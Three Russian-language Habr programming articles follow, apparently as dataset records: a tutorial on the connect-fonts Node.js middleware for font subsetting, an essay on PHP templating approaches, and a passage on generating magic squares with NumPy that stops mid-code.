[Connect-fonts](https://github.com/shane-tomlinson/connect-fonts) — это middleware для Connect, которое улучшает производительность `@font-face`, раздавая клиентам подобранные специально для их языка подмножества шрифтов, уменьшая тем самым их размер. Connect-fonts также генерирует специфические для локали и браузера стили `@font-face` и CORS-заголовки для Firefox и IE9+. Для раздачи подмножеств шрифтов создаются так называемые font packs — поддиректории с подмножествами шрифтов плюс простой конфигурационный файл JSON. Некоторые наборы распространённых open source-шрифтов доступны в готовом виде в [пакете npm](https://npmjs.org/browse/keyword/connect-fonts), впрочем, создавать свои пакеты совсем нетрудно.
Если вы не слишком хорошо ориентируетесь в работе со шрифтами в интернете, мы собрали [небольшую коллекцию](https://gist.github.com/6a68/5187976) ссылок по теме `@font-face`. [***От переводчика:** а на Хабре очень кстати [статья](http://habrahabr.ru/post/159907/), посвящённая производительности веб-шрифтов*]
### Статическая и динамическая загрузка шрифтов
Когда вы просто отдаёте один большой шрифтовой файл всем пользователям, всё довольно просто:
1. пишете блок `@font-face` в вашем файле CSS;
2. генерируете шрифтовые файл для веб из исходника в TTF или OTF и кладёте в директорию, к которой есть доступ у веб-сервера;
3. настраиваете заголовки CORS, если ссылаетесь на шрифты с другого домена, так как политика одного источника Firefox и IE9+ распространяется и на шрифты.
Это несложные шаги. Первые два можно сделать ещё легче с помощью, например, [FontSquirrel](http://www.fontsquirrel.com/tools/webfont-generator) — онлайн генератора шрифтов, который автоматически создаст файлы шрифтов и код CSS. Для добавления заголовков CORS придётся почитать документацию Apache или Nginx, но и это не слишком трудно.
Но если вы хотите использовать все преимущества подмножеств шрифтов, всё усложняется. Вам нужны будут отдельные файлы шрифтов для каждой локали, и будет нужно динамически менять декларации `@font-face`, чтобы они указывали на правильные URL. Так же придётся разбираться и с CORS. Именно эти проблемы решает connect-fonts.
### Подмножества шрифтов: обзор
По умолчанию, каждый шрифт содержит множество символов — латиницу, диакритические знаки для таких языков как французский или немецкий, дополнительные алфавиты, такие как греческий или кириллица. Многие шрифты также содержат символы, особенно если поддерживают Юникод (например, символ снеговика — ). Есть и шрифты с поддержкой иероглифов. Всё это содержится в файле шрифта, чтобы он был полезен максимально широкой аудитории. Такая гибкость ведёт к большим размерам файлов. Microsoft Arial Unicode, который содержит все символы Uncode 2.1, весит невероятные 22 мегабайта!
В то же время типичная веб-страница использует щрифт для одной конкретной задачи — отображения контента, обычно на одном языке и без экзотических символов. Ограничивая шрифт этим небольшим подмножеством, мы можем очень сильно сэкономить.
### Выигрыш в производительности при использовании подмножеств шрифтов
Давайте сравним размеры полных файлов распространённых шрифтов с подмножествами для нескольких локалей. Даже если ваш сайт работает только на английском языке, вы можете очень сильно сэкономить, выдавая локализованное подмножество.
Меньший размер файлов шрифтов означает более быструю загрузку и появление шрифтов на экране. Это особенно важно для мобильных устройств. Если пользователю доведётся зайти на сайт через 2G-соединение, уменьшение веса страницы на 50 килобайт может ускорить загрузку на 2-3 секунды. Ещё один момент — кеш в мобильных устройствах часто невелик, и у маленького шрифта больше шансов в нём задержаться.
*Сравнение размеров полного шрифта Open Sans Regular с подмножествами для разных локалей:*
*То же самое в сжатом gzip виде:*
Даже с учётом сжатия можно уменьшить размер шрифта на 80%, с 63 до 13 килобайт, в случае использования только английского подмножества Open Sans. И это только один шрифт — большинство сайтов используют несколько. Огромный потенциал для оптимизации!
Используя connect-fonts, мы в Mozilla Persona добились уменьшения на 85%, c 300 до 45 килобайт. Это эквивалентно паре секунд времени загрузки на типичном 3G-соединении и десятку секунд на 2G.
#### Дальнейшие оптимизации
Если вы хотите избавиться от каждого лишнего байта, можно настроить connect-fonts так, чтобы он возвращал CSS не в виде файла, а виде строки, которую можно будет включить в общий файл. Кроме того, connect-fonts по умолчанию генерирует минимальную декларацию `@font-face`, не включая в неё файлы в форматах, которые не принимает конкретный браузер.
### Пример использования connect-fonts в приложении
Предположим, что у нас есть простое приложение на Express, которое сообщает клиенту текущее время:
```
// app.js
const
ejs = require('ejs'),
express = require('express'),
fs = require('fs');
var app = express.createServer(),
tpl = fs.readFileSync(__dirname, '/tpl.ejs', 'utf8');
app.get('/time', function(req, res) {
var output = ejs.render(tpl, {
currentTime: new Date()
});
res.send(output);
});
app.listen(8765, '127.0.0.1');
```
используя самый примитивный шаблон:
```
// tpl.ejs
the time is <%= currentTime %>
```
Подключим connect-fonts, чтобы отдавать локализованное подмножество Open Sans — одного из нескольких включённых в пакеты готовых наборов.
#### Изменения в приложении
Сначала установим нужные пакеты:
```
$ npm install connect-fonts
$ npm install connect-fonts-opensans
```
Подключим middleware:
```
// app.js с изменениями для использования connect-fonts
const
ejs = require('ejs'),
express = require('express'),
fs = require('fs'),
// добавлено:
connect_fonts = require('connect-fonts'),
opensans = require('connect-fonts-opensans');
var app = express.createServer(),
tpl = fs.readFileSync(__dirname, '/tpl.ejs', 'utf8');
```
Инициализируем модуль:
```
// продолжение app.js
// добавим этот вызов app.use:
app.use(connect_fonts.setup({
fonts: [opensans],
allow_origin: 'http://localhost:8765'
})
```
`connect_fonts.setup()` принимает следующие аргументы:
* `fonts` — массив необходимых шрифтов
* `allow_origin` — источник, из которого берём шрифты; connect-fonts использует эту информацию для установки заголовка `Access-Control-Allow-Origin` для браузеров Firefox 3.5+ и IE9+.
* `ua` (необязательный) — список user-agents, которым мы отдаём шрифты. По умолчанию connect-fonts определяет user-agent по запросу, самостоятельно решая, какие форматы файлов ключить в декларацию. Это поведение может быть изменено, если передать `ua: 'all'` — тогда будут включены все имеющиеся форматы.
Внутри маршрута нужно передать локаль в шаблон:
```
// продолжение app.js
app.get('/time', function(req, res) {
var output = ejs.render(tpl, {
// передаём локаль в шаблон:
userLocale: detectLocale(req),
currentTime: new Date()
});
res.send(output);
});
```
Для определения локали Mozilla Persona использует [i18n-abide](https://github.com/mozilla/i18n-abide). Есть ещё очень неплохой модуль [locale](https://github.com/jed/locale), оба они доступны через npm. Но, чтобы не сложнять пример, мы просто возьмем первые два символа из поля запроса `Accept-language`:
```
// примитивное определение локали
function detectLocale(req) {
return req.headers['accept-language'].slice(0,2);
}
app.listen(8765, '127.0.0.1');
// конец app.js
```
#### Изменения в шаблоне
Теперь нужно обновить шаблон. Connect-fonts предполагает, что маршруты прописаны в виде:
```
/:locale/:font-list/fonts.css
```
например:
```
/fr/opensans-regular,opensans-italics/fonts.css
```
В нашем случае надо добавить ссылку на файл стилей по тому пути, который ожидает connect-fonts:
```
// tpl.ejs - изменения для connect-fonts
```
и добавить в код страницы стиль для использования шрифта:
```
// продолжение tpl.ejs
body { font-family: "Open Sans", "sans-serif"; }
the time is <%= currentTime %>
```
Вот и всё. CSS, созданный connect-fonts, зависит от локали пользователя и его браузера. Вот пример для английской локали:
```
* это пример вывода при свойстве ua установленном в 'all' */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: url('/fonts/en/opensans-regular.eot');
src: local('Open Sans'),
local('OpenSans'),
url('/fonts/en/opensans-regular.eot#') format('embedded-opentype'),
url('/fonts/en/opensans-regular.woff') format('woff'),
url('/fonts/en/opensans-regular.ttf') format('truetype'),
url('/fonts/en/opensans-regular.svg#Open Sans') format('svg');
}
```
Если вы хотите сэкономить один HTTP запрос, вы можете использовать метод `connect_fonts.generate_css()`, чтобы получать код CSS в виде строки, и включить её в общий файл CSS.
Теперь наше маленькое приложение красиво показывает время. Его полный исходный код доступен на Гитхабе. Мы использовали готовый font pack, но создать собственный совсем не трудно. [Инструкция](https://github.com/shane-tomlinson/connect-fonts#creating_a_font_pack) есть в readme.
### Зключение
Подмножества могут дать очень большой выигрыш в производительности для сайтов, которые используют веб-шрифты. connect-fonts делает немало работы со шрифтами в многоязычном приложении. Даже если ваш сайт подерживает только один язык, вы всё равно можете использовать этот модуль чтобы урезать шрифты до единственной необходимой вам локали и автоматически генрировать CSS и заголовки CORS, плюс это облегчит последующую интернационализацию.
Дальнейшие оптимизации могут состоять в исключении хинтинга для платформ, которые его не поддерживают (всех кроме Windows), автоматическом сжатии шрифтов и установке заголовков для кеширования.
---
**Все статьи цикла:**1. "[Охотимся за утечками памяти в Node.js](http://habrahabr.ru/company/nordavind/blog/195494/)"
2. "[Нагружаем Node под завязку](http://habrahabr.ru/company/nordavind/blog/195686/)"
3. "[Храним сессии на клиенте, чтобы упростить масштабирование приложения](http://habrahabr.ru/company/nordavind/blog/196018/)"
4. "[Производительность фронтэнда. Часть 1 — конкатенация, компрессия, кэширование](http://habrahabr.ru/company/nordavind/blog/196358/)"
5. "[Пишем сервер, который не падает под нагрузкой](http://habrahabr.ru/company/nordavind/blog/196518/)"
6. "[Производительность фронтэнда. Часть 2 — кешируем динамический контент с помощью etagify](http://habrahabr.ru/company/nordavind/blog/196818/)"
7. "[Приручаем конфигурации веб-приложений с помощью node-convict](http://habrahabr.ru/company/nordavind/blog/197166/)"
8. "[Производительность фронтенда. Часть 3 — оптимизация шрифтов](http://habrahabr.ru/company/nordavind/blog/197370/)"
9. "[Локализация приложений Node.js. Часть 1](http://habrahabr.ru/company/nordavind/blog/197566/)"
10. "[Локализация приложений Node.js. Часть 2: инструментарий и процесс](http://habrahabr.ru/company/nordavind/blog/198154/)"
11. "[Локализация приложений Node.js. Часть 3: локализация в действии](http://habrahabr.ru/company/nordavind/blog/198252/)"
12. "[Awsbox — PaaS-инфраструктура для развёртывания приложений Node.js в облаке Amazon](http://habrahabr.ru/company/nordavind/blog/198590/)" | https://habr.com/ru/post/197370/ | null | ru | null |
# Вся правда о шаблонизаторах
*Статейка старенькая, но думаю до сих пор актуальная*
Cлишком часто я в последнее время слышу слово «шаблонизатор». Не утихают споры между сторонниками разных шаблонных движков. Одни говорят что логика в шаблонах это хорошо, другие считают что это зло. Даже сейчас очень часто встречаются проекты, написанные вообще без применения какого либо шаблонизатора. Но в этой статье я не буду предпринимать попыток стать на сторону одной из сторон. Я не буду вам доказывать преимущества ни одного из подходов. Я просто постараюсь рассказать обо всех из них с точки зрения теории. Эта статья не о конкретных программных продуктах, а о способах выделения логики представления в ваших приложениях.
**Термины**
В статье используется ряд терминов, которые могут быть вам неизвестны. Попробую дать определение некоторым из них.
Представление – логика приложения отвечающая за отображение данных. Для WEB приложений это та логика которая формирует HTML страницу.
Домен – Часть приложения отвечающая за обработку данных, то есть содержащая бизнес-логику приложения. Выражения «бизнес-логика» и «логика домена», по сути синонимы.
Шаблон – Файл, содержащий HTML и некоторые маркеры, позволяющий этот шаблон обработать и сформировать на его основе конечный HTML код.
Шаблонизатор – приложение, осуществляющее обработку шаблона.
Паттерн, Типовое решение – решение часто встречающихся задач.
**Шаблонизатор как миф**
Это лишь термин, описывающий класс программ, занимающихся заменой строковых последовательностей некоторыми данными. Причем жаргонный термин. На самом деле все гораздо сложнее, и требует глубокого и вдумчивого понимания предметной области. К этому мы еще вернемся, но сейчас давайте все же рассмотрим суть проблемы.
Дело в том, что слово «шаблонизатор» часто считают синонимом слова «представление». Заочно считается, что если вы в своих проектах применяете шаблонизатор, то вы отделяете логику представления от бизнес-логики. Некоторые даже думают что шаблонизаторы созданы для дизайнеров/верстальщиков, а программисту они не нужны. Так вот, все это миф. Шаблонизатор это программа созданная для того, что бы сделать разделение логик удобнее, предоставляющая некоторые расширенные функции, но она никак не является камнем преткновения. Вы можете использовать любой шаблонизатор или можете вообще обойтись без него, но при этом хорошо выделять представление из вашего приложения. И наоборот, вы можете использовать Smarty, но при этом окончательно все запутать, и переплести. Поэтому говоря что вы используете конкретный шаблонизатор, вы лишь доносите до сведенья тот факт, что вы пользуетесь неким программным продуктом, но это совершенно не говорит о том как хорошо написано ваше приложение.
**Разделение HTML и PHP**
С этого все началось. Любой из вас помнит те незапамятные времена, когда все вокруг восторгались возможностью PHP проникать в код HTML, становясь его частью. Благодаря этому значительно упрощалось понимание языка. Многим даже казалось что HTML и PHP братья, работающие сообща, рука об руку(многие до сих пор в этом уверены). Даже те кто понимал что PHP на самом деле ничего не знает о HTML(как впрочем и HTML о PHP), и лишь выводит текст, были рады тому что не приходится писать кучу print. Все так просто!
И эта простота породила проблему.
**Борщ**
Борщ только на первый взгляд кажется хаосом. На самом деле, хорошо приготовленный борщ — он вкусный. Но если вы добавите туда немного больше капусты, больше соли и мало воды… Будет невкусно. В борще главное не переборщить (извините за каламбур).
Собственно, никто не хотел зла. Просто новый язык привлек конечно и новых программистов. Именно новых, польстившихся на простоту PHP, удобство и мощь. Мы тогда не знали ни о каких MVC. Мы не задумывались над проблемами сопровождения кода, читабельности и стабильности. Оно работало, и мы искренне радовались этому.
Но скоро мы поняли что борщ становится невкусным. Складные сначала чередования PHP и HTML становились слишком сложными для восприятия. Смена дизайна вообще превращалась в кошмар. Мысли о том что мы уже это когда-то писали становились навязчивыми, но место где этот код уже был написан, найти было крайне сложно. Еще сложнее было вытащить его оттуда и вставить в новый проект.
Но хватит лирики. Разными путями мы пришли к пониманию что нужно код HTML отделить от PHP кода. И вот тут мы узнали слово «шаблонизатор».
**Что такое шаблонизатор?**
Это программа, призванная отделить PHP код от HTML кода. Бытует мнение это нужно для дизайнеров. На самом деле мне ни разу не приходилось сталкиваться с дизайнерами (извините верстальщиками), которые бы верстали сразу шаблоны. Но дело не в этом. На самом деле плевать хотели программисты на верстальщиков. Им самим уже надоело удовлетворять новые изыски дизайнеров, перелопачивая при этом весь код.
К этому моменту программиста уже тошнило от всякого кода, перемешенного с PHP. По крайней мере я напрочь отрекся от любого вида логики в HTML. Мой шаблонизатор мог повторять куски кода (блоки), включать другие файлы, но ни о какой логике речи быть не могло. Я потратил целые выходные на написание своего шаблонизатора. Я был горд, и считал себя самым правильным программистом. Но вскоре проекты усложнились. И даже при всей мощи моего шаблонизатора, HTML все равно просачивался всякими путями в мои проекты.
**Бизнес-логика и логика представления**
Наконец мы приближаемся к сути. На самом деле, выделяя логику из HTML кода, мы немного переборщили. Пытаясь писать правильно, что похвально, программисты взяли курс на полное отделение PHP от HTML. Как будто в мире только эти 2 языка и существуют. А вот на самом деле PHP и HTML это всего лишь инструменты. Причем инструменты взаимодополняющие друг друга. Вы наверное не будете спорить что HTML определяет вид вашего сайта. А PHP занимается тем что формирует этот вид на основе данных. Но можно ли четко разделить PHP и HTML? Да нет конечно! PHP все равно определяет как будет выглядеть ваша страница[[\*1]]. Получается что HTML это только представление, а PHP занимается не только получением данных но и определяет как, где и сколько, их показать. Возвращаемся к тому от чего ушли. Оказывается отделить PHP от HTML невозможно? Я скажу больше. И не нужно!
На самом деле вопрос не в том отделять ли PHP от HTML, а в том где их разделять.
**Логика представления**
Логику любой программы можно разделить на две составляющих – логику, которая получает и обрабатывает данные[[\*2]] и логику которая их показывает пользователю. Первая называется бизнес-логикой а вторая логикой представления. Важно уметь четко разделять эти 2 вида логик, так что бы они не перемешивались. Применительно к web-программированию можно с абсолютной уверенностью говорить что HTML относится к логике представления а база данных это вотчия бизнес-логики. Но между ними есть еще масса PHP кода. Сложность в том, что бы разделить этот код. Наконец мы пришли к той проблеме которая меня побудила написать эту статью. На самом деле давно существует стереотип который утверждает что PHP никак не может быть частью логики отображения. Этот стереотип появился неспроста. Вспомните, что когда-то мы мешали код PHP и HTML. Потом мы узнали, что так делать не следует, а следует пользоваться шаблонизаторами. С этого момента мы подсознательно проводим четкую границу между PHP и HTML, стараясь их никогда не смешивать. Я не пытаюсь сейчас утверждать, что нужно смешивать. Но нужно понимать что PHP так же отвечает за то как будут показаны данные, то есть имеет непосредственное отношение к логике представления. Важно понимать что вопрос перемешивать ли код PHP и HTML или не перемешивать не имеет никакого отношения к разделению двух логик. Можно перемешивать а можно и четко отделять, и при этом говорить, что в программе эти логики хорошо разделены. Понимание этого является очень важным. Если вы четко разделяете PHP и логику представление то вы глубоко заблуждаетесь. Например Smarty самый популярный из шаблонизаторов не использует в своих шаблонах PHP в чистом виде. Но тем не менее он компилирует свои шаблоны и в итоге получается именно смесь PHP и HTML.
**Два типа представления**
Спор о том применять ли логику в шаблонах или нет вечен. Ибо даже у Мартина Фаулера говорится о двух типах слоя представления: представление по шаблону и представление с преобразованием[[\*3]].
**Представление по шаблону (Template View)**
Как пример, всем известный Smarty. В шаблоны Smarty передаются данные, и уже сам шаблон определяет как эти данные показать. Но представьте себе что эта возможность уже встроена в PHP! На самом деле скажите мне чем PHP отличается от шаблона Smarty? Чем теги Smarty ({}) не похожи на теги PHP ()? Да, в сущности, одно и тоже! Помните как более опытные коллеги говорили вам что мешать код PHP и HTML нехорошо? Так вот, вас обманули[[\*4]]. Возможно те, кто вам об этом рассказал и сами не понимали что код PHP и код Smarty близнецы-братья, возможно вас просто предостерегли от больших ошибок.
**PHP vs. Smarty**
На самом деле PHP в руках неопытного программиста действительно становится неуправляем. Вспомните про борщ. Если не уметь его готовить то он становится невкусным. PHP позволяет слишком многое, и по неопытности может возникнуть соблазн напихать в PHP шаблоны различной логики не присущей представлению. Например, никто не помешает вам выполнять в коде SQL запросы. Smarty, в этом отношении безопаснее. Конечно и в Smarty можно, умеючи, все испортить. Например, написать функцию выполняющую SQL запросы[[\*5]]. Но все таки для этого нужно приложить гораздо больше усилий.
Вторым доводом против PHP шаблонов может быть синтаксис. Мы уже договорились не рассматривать тут проблемы верстальщиков. На сам деле {$var} читается лучше чем или, что более правильно,.
Еще одна проблема, это отсутствие кэширования. Но это довод только для проектов с высокой нагрузкой. Конечно, в этом случае проще использовать уже готовый Smarty, чем изобретать что-то свое.
Все что я сказал выше не направленно на то, что бы вы бросали Smarty и срочно переходили на plain PHP. Просто вы должны четко понимать что код в HTML не значит плохо. Если его использовать правильно, в нужных пропорциях, то ничего страшного в этом нет. Это всего лишь один из способов разделить приложение на слои, и отделить слой представления от остальных. Я сам использую Smarty, потому что мне так удобно. Но я прекрасно понимаю что Smarty это всего лишь удобная прослойка, которую, при необходимости, можно убрать.
**Пример**
Самый простой способ передать переменные в шаблон PHP, просто объявить их, перед включением шаблона в код.
`$var = 'Hello, world!'
include 'template.php';`
Но такой способ имеет ряд неудобств. Во-первых, такая передача переменных непрозрачна (иногда сложно найти место, где переменная была объявлена).
Во-вторых, если переменная не объявлена, но она используется в шаблоне, PHP выдаст ошибку уровня Notice, а это не всегда удобно (например Smarty нотисов не выдает). В-третьих, те, кто использовал Smarty, привыкли работать с объектом, используя привычные методы Assign и Fetch. Все эти недостатки легко обойти.
Посмотрите на нижеприведенный код и сравните его с кодом смарти. Конечно здесь не реализованы все методы класса Smarty, но дело не в этом. Дело в том что 90% требуемого функционала Smarty реализовано в двух десятках строчек кода. Шаблонизатор в 20 строк! Не считая кода самого PHP :)
`class PlainPHPView {
public $template_dir = TEMPLATES_DIR;
protected $Vars = array();
public function __construct($template_dir = '') {
$this->template_dir = $template_dir ? $template_dir : $this->template_dir;
}
public function Assign($var_name, $var_value) {
$this->Vars[$var_name] = $var_value;
}
public function Fetch($template) {
$reporting = error_reporting(E_ALL & ~E_NOTICE);
extract($this->Vars);
ob_start();
include $this->template_dir.'/'.$template;
ini_set('error_reporting', $reporting);
return ob_get_clean();
}
public function get_template_vars($var) {
return isset($this->Vars[$var]) ? $this->Vars[$var] : false;
}
}`
Использовать этот код можно так же, как и смарти. Разница только в синтаксисе шаблонов. Но к этому очень легко привыкнуть.
`$var = 'Hello, world!'
$view = new PlainPHPView('./');
$view->Assign('var', $var);
print $view->Fetch('template.php');`
**Представление с преобразованием (Transform View)**
Помимо спора мешать ли PHP и HTML или использовать Smarty, существует еще не менее принципиальный, но и не менее бесполезный спор. Спор о том помещать ли вообще какую бы то нибыло логику в шаблоны.
В шаблонах на основе паттерна «Представление с преобразованием» нет явной логики[[\*6]]. Это практически чистый HTML. Но перед выводом этот HTML, преобразовывается с помощью некоторой логики, и только после этого отдается клиенту. То есть представление определяется не только самим шаблоном, но и специальным кодом, этот шаблон обрабатывающим. Мартин Фаулер приводит в качестве примера XSLT преобразование XML данных. Я же хочу привести пример более приближенный к реальности: FastTemplate.
В шаблонизаторах подобных FastTemplate логику определяет код. Сам шаблон содержит лишь HTML и специальные маркеры, которые отмечают участки шаблона, которые необходимо обработать. Сам «преобразователь» читает шаблон, и преобразует его в конечный HTML.
При этом, в сложных шаблонах, очень сложно избежать полного отделения PHP от HTML. Все таки, например, код ссылок, или элементы форм проще формировать в самом скрипте-преобразователе. И это не является плохим решением. На самом деле и шаблон, и «преобразователь» работают сообща и вместе находятся в слое представления. Но при использовании этого паттерна еще важнее суметь правильно разделить слои, так что бы они не перемешивались. Например, неплохо бы «преобразователь» оформить в качестве класса, тем самым абстрагировав его от остального кода.
**Помошники (Helpers)**
В любом из подходов может возникнуть ситуация, когда необходимо выполнять формирование типовых представлений в различных шаблонах.
Например, формирование ссылки, или элементов форм. В любом случае, удобнее всего этот код вынести из шаблона и оформить в виде функции или класса, или его метода. Как пример — система плагинов Smarty. Такие функции называются «помощники» или Helpers. В самом деле, попробуйте написать код в шаблоне, формирующий календарь. Уврен у вас это получится. Но если календарь потребуется в другом шаблоне, или даже проекте? Copy+Paste конечно выход, но не решение. Гораздо проще оформить такой код в виде метода класса. Конечно это усложнит смену дизайна, ведь теперь вид вашего сайта зависит не только от шаблона. Но не стоит забывать, что представление, это не только шаблон, а весь набор классов и функций, лежащих в слое представления.
**Так что же такое шаблонизатор?**
Как я сказал шаблонизатор это миф. Миф не сам по себе. Мифом он является в контексте, в котором это слово частенько применяют. Наверное вас спрашивали на собеседовании, перед приемом на работу, о том каким шаблонизатором вы пользуетесь. Ответ «никаким» сильно понижает ваши шансы быть принятым на работу. На самом деле работодатель имел виду несколько иное. Он хотел вас спросить каким образом, а не с помощью чего, вы разделяете логику приложения на слои. Но в представлении многих, к сожалению, шаблонизатор и логика представления это слова — синонимы, если конечно последний термин вообще известен вашему собеседнику. Попробуйте ответить что вы не пользуетесь шаблонизаторами, а используете смесь PHP и HTML. 5 к 1 что вас не возьмут :)
**Вывод**
Помните как кто -то мудрый заметил что история имеет тенденцию двигаться по спирали, часто повторяясь, но на более высоком уровне? Кода-то мы перемешивали код PHP и HTML, потом узнали что это плохо, а теперь оказывается что не так уж и плохо. Когда то я сам считал что логика в шаблонах это зло, а теперь пишу статью о том что это всего лишь одни из подходов.
В этой статье я не проследовал цели изменить ваши взгляды. Если вам нравится Smarty, не стоит от него отказываться. Если вы обожаете FastTemplate и ему подобные движки, это тоже ваше право. В каждом выборе есть свои плюсы и минусы. Главное что бы выбор решения был на основе четких критериев и полного осознания их веса в широком выборе имеющихся вариантов. Руководствуясь навязанными стереотипами, вы сами лишаете себя права такого выбора. Надеюсь эта статья заставит вас шире взглянуть на проблемы, с которыми вы сталкиваетесь в нелегком деле создания web-систем.
— [[#1]] Например, сколько раз показать тот или иной блок, вывести текст в 2 колонки, вывести таблицу, в которой строки имеют разный цвет… обычным HTML добиться таких эффектов будет сложно.
[[#2]] Приложение обычно делятся на 3 слоя, но в этой статье мы будем делить приложение на 2 слоя, логику представления и все остальное.
[[#3]] У Фаулера говорится о трех типовых решениях, но третий является объединением первых двух. Для буквоедов поясню что Smarty как раз и относится к третьему виду, объединяя в себе типовые решения «Представление по шаблону» и «Представление с преобразованием».
[[#4]] Smarty именно этим и занимается, компилируя свои шаблоны именно в смесь PHP и HTML кода.
[[#5]] Кстати не дай бог мне навязать вам еще один стереотип. Слой представления вполне может самостоятельно выбирать данные из БД, в обход слоя бизнес-логики, и даже самостоятельно передать эти данные, например для сложных вычислений, в слой домена. Такие шаблоны еще называют активными. Не решение определяет архитектуру, а архитектура требует решений :)
[[#6]] Логика все же есть. Но это неявная логика. [community.livejournal.com/ru\_php/789059.html](http://community.livejournal.com/ru_php/789059.html)
\*\*Диаграммы взяты с сайта Мартина Фаулера\*\* [www.martinfowler.com](http://www.martinfowler.com/) | https://habr.com/ru/post/27999/ | null | ru | null |
# Выращивание Магических Квадратов с помощью Python
Шаблон магического квадрата со стороной 64 (ни одно число не стоит на месте :)Всем доброго времени суток.
В этой статье я опишу метод получения нормальных магических квадратов порядка nm, где n и m - положительные натуральные числа, при условии, что нам известен нормальный магический квадрат порядка n
Однажды, еще в школе, я заинтересовался магическими квадратами, как весьма хардкорной заменой судоку. По-сути, все свободное время в школе я проводил за составлением магических квадратов. Здесь и в дальнейшем, под магическим квадратом я подразумеваю [нормальный магический квадрат](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82).
Как это начиналось
------------------
Я никогда не изучал магические квадраты, составленные ранее, изображения которых были в открытом доступе, и не следовал известным "рецептам".
Алгоритм, которого я придерживался был прост, хотя и весьма сложен в исполнении, учитывая, что все это происходило на обычной тетрадной бумаге в клетку:
1. Рисуем квадрат и вписываем в него числа от 1 до n2, где n - сторона квадрата, по порядку, построчно, слева направо, сверху вниз.
2. Подписываем исходные суммы в строках, столбцах и диагоналях.
3. Выписываем два столбца, расположенных симметрично относительно центра квадрата.
4. Меняем местами числа в столбцах до тех пор, пока суммы чисел не окажутся равны (следуя интуиции и расчетам). Здесь стоит отметить, что этот алгоритм подходит только для ассоциативных магических квадратов, но об этом я тогда не знал, из-за чего серьезно застрял на квадрате 6х6.
5. Рядом с исходным квадратом рисуем пустой квадрат, в котором стрелками соединяем клетки, числа в которых "переехали".
6. Применяем схему перемещения чисел к строкам, находящимся на таком же удалении от центра и проверяем суммы в строках.
7. *Хотел бы я сформулировать и этот пункт, но, боюсь, здесь начинается подгонка: скрупулезно подсчитывая суммы, менять местами числа, находящиеся на одинаковом удалении от центра, считая по количеству строк/столбцов.*
Итак, после выполнения этих шагов, тетрадный лист порой оказывался полностью исписанным: множество "черновых" квадратов, нерабочих моделей перемещения чисел (схем со стрелками), и в конце, если повезет, готовый магический квадрат и рабочая схема перемещения чисел. Здесь стоит упомянуть, что если в ассоциативном магическом квадрате поменять местами два столбца, находящихся на удалении L от центра, а затем поменять местами две строки, также находящиеся на удалении L, то квадрат останется магическим и ассоциативным, но схема перемещения чисел изменится.
С маленькими квадратами все было донельзя просто (n=3 и n=4), и меня заинтриговали схемы, получающиеся в итоге. Это были симметричные рисунки, в которых мне виделось нечто загадочное. Загадкой для меня было скорее не то, отчего они так выглядят, а то, какие рисунки получатся от квадратов с б**о**льшими сторонами, отчего я сразу перешел к квадратам 5х5, 6х6, 7х7 и 9х9.
Времени, бумаги и чернил уходило немерено, но я справился со всеми ими, кроме 6х6. Порывшись в интернете, я обнаружил, что к моему большому сожалению, ассоциативных квадратов 6х6 не существует. Заодно узнал, что такое ассоциативный магический квадрат :)
Закончив с квадратом 9х9, я понял, что бумаги уходит реально много: на один тетрадный лист помещалось только три-четыре таких квадрата, а учитывая мою любовь к зарисовыванию стрелочками "путей чисел", места оставалось еще меньше.
Кстати, зарисовыванием я занимался не просто так: такая схема была для меня способом, с помощью которого, в дальнейшем, можно быстро повторить этот же квадрат. Также я обнаружил, что некоторые числовые последовательности, будучи записанными в квадрат по этой схеме, также составляли ассоциативный магический квадрат, что меня порядком удивило. Это относится, например, к четным и нечетным положительным числам, а также к любым целым числам, идущим по возрастанию или убыванию.
Сразу скажу, что этот способ не работает с квадратами натуральных чисел, или степенями одного числа. Было бы неплохо, ведь за нахождение некоторых квадратов даже назначена [награда](http://www.multimagie.com/English/Enigmas.htm).
Наши дни
--------
Забросив рисование квадратов на первом курсе, отучившись, отслужив в армии и устроившись на работу, в один из долгих зимних вечеров, от нечего делать, я решил систематизировать свои знания о магических квадратах. К моему большому огорчению, все мои записи о магических квадратах пропали, и я едва не опустил руки. Нарисовав самый простой квадрат 3х3, я нарисовал рядом его схему перемещения, или "шаблон". Как истинно ленивый программист, я подумал: что, если применить этот шаблон к базовому квадрату 9х9, разделив его на 9 секторов, по три строки и столбца, а затем применить этот же шаблон к каждому сектору. Что, если получится магический квадрат?
По-быстрому нарисовав базовый квадрат, я быстро исполнил задуманное и с замиранием сердца взялся за калькулятор. Не было предела моему удивлению, когда я понял, что действительно получил ассоциативный магический квадрат!
Следующей моей идеей было проверить шаблон на квадрате 27х27, но одна мысль о том, что мне придется от руки прописывать 729 чисел от 1 до 729, вернула меня с небес на землю. Страшно было даже не то, что придется все прописывать, а то, что, если я ошибусь, придется все переделывать заново, а без нарисованного базового квадрата (в котором числа идут по-порядку) вероятность ошибки возрастала в разы... Но я не сдался. Зачем писать все вручную, если можно написать программу, которая все сделает за тебя?
NumPy + PyGame = Profit!
------------------------
Итак, собственно, код. Для написания программы использовался Python версии 3.9 и opensource-библиотеки Numpy и PyGame.
```
import numpy as np
import pygame as pg
# SortedList uses binary search instead full-list comparison cycle.
import sortedcontainers as scs
```
Базовый квадрат для магического - это элементарная матрица, где mx,y == x + y \* n + 1, где n - длина стороны квадрата. Напишем функцию-генератор:
```
def create_matrix(n: int):
return np.arange(1, n ** 2 + 1).reshape(n, n)
```
Далее я записал шаблоны магических квадратов 3x3 и 4x4, в виде списка последовательностей перестановок:
```
m_3 = [[[1, 0], [0, 0], [1, 2], [2, 2]], [[2, 0], [2, 1], [0, 2], [0, 1]]]
m_4 = [[[0, 0], [2, 2]], [[1, 0], [0, 1]],
[[2, 0], [3, 1]], [[3, 0], [1, 2]],
[[0, 2], [1, 3]], [[1, 1], [3, 3]],
[[2, 1], [0, 3]], [[3, 2], [2, 3]]]
```
Затем, после вдумчивого разбора предлагаемого NumPy функционала, были созданы функции для разбивания матрицы на сектора, и обратной сборки:
```
# _m - input matrix, _x - base row length
def m_split(_m, _x):
return [np.vsplit(x, _x) for x in np.hsplit(_m, _x)]
# _m - input "previous splitted" matrix, _x - base row length
def m_join(_m, _x):
return np.vstack([np.hstack(np.vstack(_m)[x::_x]) for x in range(_x)])
```
После чего реализованы функции, выполняющие последовательную перестановку и цепь перестановок, в соответствии с шаблоном:
```
